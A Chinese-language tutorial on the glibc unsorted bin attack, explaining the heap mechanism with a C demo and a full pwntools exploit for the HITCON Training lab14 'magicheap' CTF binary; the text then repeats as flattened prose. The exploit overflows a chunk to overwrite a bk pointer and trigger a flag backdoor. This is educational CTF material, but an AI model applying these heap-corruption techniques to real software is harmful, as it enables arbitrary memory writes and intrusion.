Unsorted Bin Attack
字数 1969 2025-08-25 22:58:47

Unsorted Bin Attack 详细教学文档

1. 简介

Unsorted Bin Attack 是一种与 Glibc 堆管理机制中 Unsorted Bin 相关的攻击技术。该攻击可以实现修改任意地址值为一个较大的数值(虽然这个数值不可控)。攻击成功的前提是能够控制 Unsorted Bin Chunk 的 bk 指针。

2. Unsorted Bin 机制

2.1 Unsorted Bin 的基本特性

  • Unsorted Bin 可视为空闲 chunk 回归所属 bin 之前的缓冲区
  • 位于 bin 数组下标 1 处
  • 只有一个双向链表
  • 所有空闲 chunk 处于乱序状态(不按照 size 分类)

2.2 进入 Unsorted Bin 的情况

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE
  2. 释放一个不属于 fast bin 的 chunk,且该 chunk 不和 top chunk 紧邻
  3. 进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中(如果不和 top chunk 近邻)

2.3 使用情况

  • 遍历顺序是先进先出(FIFO):
    • 插入时插入到 unsorted bin 的头部
    • 取出时从链表尾获取
  • 在程序 malloc 时:
    • 如果在 fastbin 和 small bin 中找不到对应大小的 chunk,会尝试从 Unsorted Bin 中寻找
    • 如果取出的 chunk 大小刚好满足,直接返回给用户
    • 否则会把这些 chunk 分别插入到对应的 bin 中

3. Unsorted Bin 的结构

Unsorted Bin 在管理时为循环双向链表。例如,当 Unsorted Bin 中有两个 chunk 时,链表结构如下:

+---------+    +---------+    +---------+
| bin[0]  |<-->| chunk1  |<-->| chunk2  |<-->...
+---------+    +---------+    +---------+

4. 攻击原理

Unsorted Bin Attack 的核心在于利用 Unsorted Bin 的链表操作机制。当从 Unsorted Bin 中取出一个 chunk 时,会执行以下操作:

victim = unsorted_chunks (av)->bk;  // 获取最后一个 chunk
bck = victim->bk;                   // 获取 victim 的前一个 chunk
unsorted_chunks (av)->bk = bck;     // 更新 unsorted bin 的 bk 指针
bck->fd = unsorted_chunks (av);     // 关键操作:将 bck->fd 指向 unsorted bin

如果我们能够控制 victim 的 bk 指针,就可以让 bck->fd 写入一个较大的值(unsorted bin 的地址)。

5. 实例分析

5.1 基础示例代码

// gcc unsort.c -g -no-pie -o unsort
#include <stdio.h>
#include <stdlib.h>

int main() {
    unsigned long target_var = 0;
    fprintf(stderr,"&target_var and target_var:\n");
    fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

    unsigned long *p = malloc(400);
    fprintf(stderr, "The first chunk_addr at: %p\n",p);

    malloc(500); // 防止与top chunk合并

    free(p);
    fprintf(stderr, "The first chunk_fd is %p\n",(void *)p[1]);

    p[1] = (unsigned long)(&target_var - 2); // 修改bk指针
    fprintf(stderr, "Now,The first chunk_fd is %p\n\n", (void *)p[1]);

    malloc(400); // 触发unsorted bin attack
    fprintf(stderr, "target has been rewrite %p: %p\n", &target_var, (void *)target_var);
}

5.2 攻击步骤解析

  1. 分配一个 chunk (p) 并释放它,使其进入 unsorted bin
  2. 修改 p 的 bk 指针为目标地址 - 0x10(因为 fd 位于 chunk + 0x10 处)
  3. 再次分配相同大小的 chunk,触发 unsorted bin 操作
  4. 目标地址被写入一个较大的值(unsorted bin 的地址)

6. 实际案例:HITCON Training lab14 magic heap

6.1 程序分析

程序提供了以下功能:

  1. 创建堆块(create_heap)
  2. 编辑堆块(edit_heap) - 存在堆溢出漏洞
  3. 删除堆块(delete_heap)
  4. 特殊选项 4869 - 当 magic > 0x1305 时执行 l33t() 获取 flag

6.2 利用思路

  1. 利用堆溢出修改 unsorted bin chunk 的 bk 指针
  2. 将 bk 指向 magic - 0x10
  3. 重新分配该 chunk,触发 unsorted bin attack
  4. magic 变量被修改为较大的值
  5. 触发特殊选项获取 flag

6.3 利用步骤

  1. 创建三个 chunk:

    • chunk0 (0x20) - 用于溢出
    • chunk1 (0x90) - 将被释放到 unsorted bin
    • chunk2 (0x20) - 防止 chunk1 与 top chunk 合并
  2. 释放 chunk1 到 unsorted bin

  3. 通过 chunk0 的堆溢出修改 chunk1 的 bk 指针:

    • 构造 payload:填充 + size + fd + bk
    • bk 设置为 magic - 0x10
  4. 重新分配 chunk1,触发攻击

  5. 调用特殊选项 4869 获取 flag

6.4 完整利用代码

from pwn import *

context.log_level = 'debug'

io = process("./magicheap")
elf = ELF("./magicheap")
magic = 0x06020C0

def create(size, content):
    io.recvuntil("Your choice :")
    io.sendline(b'1')
    io.recvuntil(": ")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)

def edit(index, size, content):
    io.recvuntil("Your choice :")
    io.sendline(b'2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil(": ")
    io.sendline(str(size))
    io.recvuntil(": ")
    io.sendline(content)

def free(index):
    io.recvuntil("Your choice :")
    io.sendline(b'3')
    io.recvuntil("Index :")
    io.sendline(str(index))

# 利用步骤
create(0x20, "aaaa") #0
create(0x90, "bbbb") #1
create(0x20, "cccc") #2 防止与top chunk合并

free(1)

payload1 = b'a'*0x20 + p64(0) + p64(0xa1) + p64(0) + p64(magic - 0x10)
edit(0, len(payload1), payload1)

create(0x90, "dddd") # 触发unsorted bin attack

io.recvuntil("Your choice :")
io.sendline(b'4869') # 触发backdoor

io.interactive()

7. 防御措施

  1. 及时更新 glibc 版本(较新版本有更多安全检查)
  2. 使用堆保护机制如:
    • FORTIFY_SOURCE
    • 堆栈保护(-fstack-protector)
  3. 避免使用不安全的堆操作函数
  4. 对用户输入进行严格验证

8. 参考资源

  1. CTF Wiki - Unsorted Bin Attack
  2. Hollk's Blog - Unsorted Bin Attack 分析

通过理解 Unsorted Bin 的机制和操作流程,我们可以利用其链表操作特性实现任意地址写。虽然写入的值不可控,但在特定场景下(如修改关键变量)仍然非常有用。

Unsorted Bin Attack 详细教学文档 1. 简介 Unsorted Bin Attack 是一种与 Glibc 堆管理机制中 Unsorted Bin 相关的攻击技术。该攻击可以实现修改任意地址值为一个较大的数值(虽然这个数值不可控)。攻击成功的前提是能够控制 Unsorted Bin Chunk 的 bk 指针。 2. Unsorted Bin 机制 2.1 Unsorted Bin 的基本特性 Unsorted Bin 可视为空闲 chunk 回归所属 bin 之前的缓冲区 位于 bin 数组下标 1 处 只有一个双向链表 所有空闲 chunk 处于乱序状态(不按照 size 分类) 2.2 进入 Unsorted Bin 的情况 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE 释放一个不属于 fast bin 的 chunk,且该 chunk 不和 top chunk 紧邻 进行 malloc_ consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中(如果不和 top chunk 近邻) 2.3 使用情况 遍历顺序是先进先出(FIFO): 插入时插入到 unsorted bin 的头部 取出时从链表尾获取 在程序 malloc 时: 如果在 fastbin 和 small bin 中找不到对应大小的 chunk,会尝试从 Unsorted Bin 中寻找 如果取出的 chunk 大小刚好满足,直接返回给用户 否则会把这些 chunk 分别插入到对应的 bin 中 3. Unsorted Bin 的结构 Unsorted Bin 在管理时为循环双向链表。例如,当 Unsorted Bin 中有两个 chunk 时,链表结构如下: 4. 攻击原理 Unsorted Bin Attack 的核心在于利用 Unsorted Bin 的链表操作机制。当从 Unsorted Bin 中取出一个 chunk 时,会执行以下操作: 如果我们能够控制 victim 的 bk 指针,就可以让 bck->fd 写入一个较大的值(unsorted bin 的地址)。 5. 实例分析 5.1 基础示例代码 5.2 攻击步骤解析 分配一个 chunk (p) 并释放它,使其进入 unsorted bin 修改 p 的 bk 指针为目标地址 - 0x10(因为 fd 位于 chunk + 0x10 处) 再次分配相同大小的 chunk,触发 unsorted bin 操作 目标地址被写入一个较大的值(unsorted bin 的地址) 6. 实际案例:HITCON Training lab14 magic heap 6.1 程序分析 程序提供了以下功能: 创建堆块(create_ heap) 编辑堆块(edit_ heap) - 存在堆溢出漏洞 删除堆块(delete_ heap) 特殊选项 4869 - 当 magic > 0x1305 时执行 l33t() 获取 flag 6.2 利用思路 利用堆溢出修改 unsorted bin chunk 的 bk 指针 将 bk 指向 magic - 0x10 重新分配该 chunk,触发 unsorted bin attack magic 变量被修改为较大的值 触发特殊选项获取 flag 6.3 利用步骤 创建三个 chunk: chunk0 (0x20) - 用于溢出 chunk1 (0x90) - 将被释放到 unsorted bin chunk2 (0x20) - 防止 chunk1 与 top chunk 合并 释放 chunk1 到 unsorted bin 通过 chunk0 的堆溢出修改 chunk1 的 bk 指针: 构造 payload:填充 + size + fd + bk bk 设置为 magic - 0x10 重新分配 chunk1,触发攻击 调用特殊选项 4869 获取 flag 6.4 完整利用代码 7. 防御措施 及时更新 glibc 版本(较新版本有更多安全检查) 使用堆保护机制如: FORTIFY_ SOURCE 堆栈保护(-fstack-protector) 避免使用不安全的堆操作函数 对用户输入进行严格验证 8. 参考资源 CTF Wiki - Unsorted Bin Attack Hollk's Blog - Unsorted Bin Attack 分析 通过理解 Unsorted Bin 的机制和操作流程,我们可以利用其链表操作特性实现任意地址写。虽然写入的值不可控,但在特定场景下(如修改关键变量)仍然非常有用。